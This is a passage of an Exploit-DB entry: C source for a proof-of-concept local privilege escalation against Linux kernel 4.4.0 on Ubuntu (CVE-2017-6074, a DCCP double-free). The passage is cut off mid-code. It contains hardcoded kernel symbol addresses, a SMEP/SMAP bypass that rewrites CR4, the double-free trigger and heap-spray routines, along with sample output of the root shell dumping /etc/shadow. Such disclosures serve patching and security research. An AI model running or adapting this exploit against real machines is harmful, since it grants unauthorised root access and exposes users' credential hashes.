Exploit-DB #41458
Description: Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
Type: local
Platform: linux
Date: 2017-02-26
Author: Andrey Konovalov

Exploit:
//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sched.h>

#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>

#define SMEP_SMAP_BYPASS	1

// Needed for local root.
#define COMMIT_CREDS		0xffffffff810a2840L
#define PREPARE_KERNEL_CRED	0xffffffff810a2c30L
#define SHINFO_OFFSET		1728

// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4	0xffffffff81064550ul
#define CR4_DESIRED_VALUE	0x406e0ul
#define TIMER_OFFSET		(728 + 48 + 104)

#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64

// Port is incremented on each use.
static int port = 11000;

void debug(const char *msg) {
/*
	char buffer[32];
	snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
	system(buffer);
*/
}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {
	uint64_t callback;		// void (*callback)(struct ubuf_info *, bool)
	uint64_t ctx;			// void *
	uint64_t desc;			// unsigned long
};

struct skb_shared_info {
	uint8_t  nr_frags;		// unsigned char
	uint8_t  tx_flags;		// __u8
	uint16_t gso_size;		// unsigned short
	uint16_t gso_segs;		// unsigned short
	uint16_t gso_type;		// unsigned short
	uint64_t frag_list;		// struct sk_buff *
	uint64_t hwtstamps;		// struct skb_shared_hwtstamps
	uint32_t tskey;			// u32
	uint32_t ip6_frag_id;		// __be32
	uint32_t dataref;		// atomic_t
	uint64_t destructor_arg;	// void *
	uint8_t  frags[16][17];		// skb_frag_t frags[MAX_SKB_FRAGS];
};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, void *func) {
	memset(&buffer[0], 0, 2048);

	struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];

	ssi->tx_flags = 0xff;
	ssi->destructor_arg = (uint64_t)&ui;
	ssi->nr_frags = 0;
	ssi->frag_list = 0;

	ui.callback = (unsigned long)func;
}

struct timer_list {
	void		*next;
	void		*prev;
	unsigned long	expires;
	void		(*function)(unsigned long);
	unsigned long	data;
	unsigned int	flags;
	int		slack;
};

void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
	memset(&buffer[0], 0, 2048);

	struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];

	timer->next = 0;
	timer->prev = 0;
	timer->expires =[PII_REDACTED];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;
	timer->slack = -1;
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

struct dccp_handle {
	struct sockaddr_in6 sa;
	int s1;
	int s2;
};

void dccp_init(struct dccp_handle *handle, int port) {
	handle->sa.sin6_family = AF_INET6;
	handle->sa.sin6_port = htons(port);
	inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
	handle->sa.sin6_flowinfo = 0;
	handle->sa.sin6_scope_id = 0;

	handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
	if (handle->s1 == -1) {
		perror("socket(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}

	int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
	if (rv != 0) {
		perror("bind()");
		exit(EXIT_FAILURE);
	}

	rv = listen(handle->s1, 0x9);
	if (rv != 0) {
		perror("listen()");
		exit(EXIT_FAILURE);
	}

	int optval = 8;
	rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
			&optval, sizeof(optval));
	if (rv != 0) {
		perror("setsockopt(IPV6_RECVPKTINFO)");
		exit(EXIT_FAILURE);
	}

	handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
	if (handle->s1 == -1) {
		perror("socket(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_kmalloc_kfree(struct dccp_handle *handle) {
	int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
	if (rv != 0) {
		perror("connect(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_kfree_again(struct dccp_handle *handle) {
	int rv = shutdown(handle->s1, SHUT_RDWR);
	if (rv != 0) {
		perror("shutdown(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_destroy(struct dccp_handle *handle) {
	close(handle->s1);
	close(handle->s2);
}

// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *

struct udp_fifo_handle {
	int fds[2];
};

void udp_fifo_init(struct udp_fifo_handle* handle) {
	int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
	if (rv != 0) {
		perror("socketpair()");
		exit(EXIT_FAILURE);
	}
}

void udp_fifo_destroy(struct udp_fifo_handle* handle) {
	close(handle->fds[0]);
	close(handle->fds[1]);
}

void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
	int rv = send(handle->fds[0], buffer, 1536, 0);
	if (rv != 1536) {
		perror("send()");
		exit(EXIT_FAILURE);
	}
}

void udp_fifo_kmalloc_s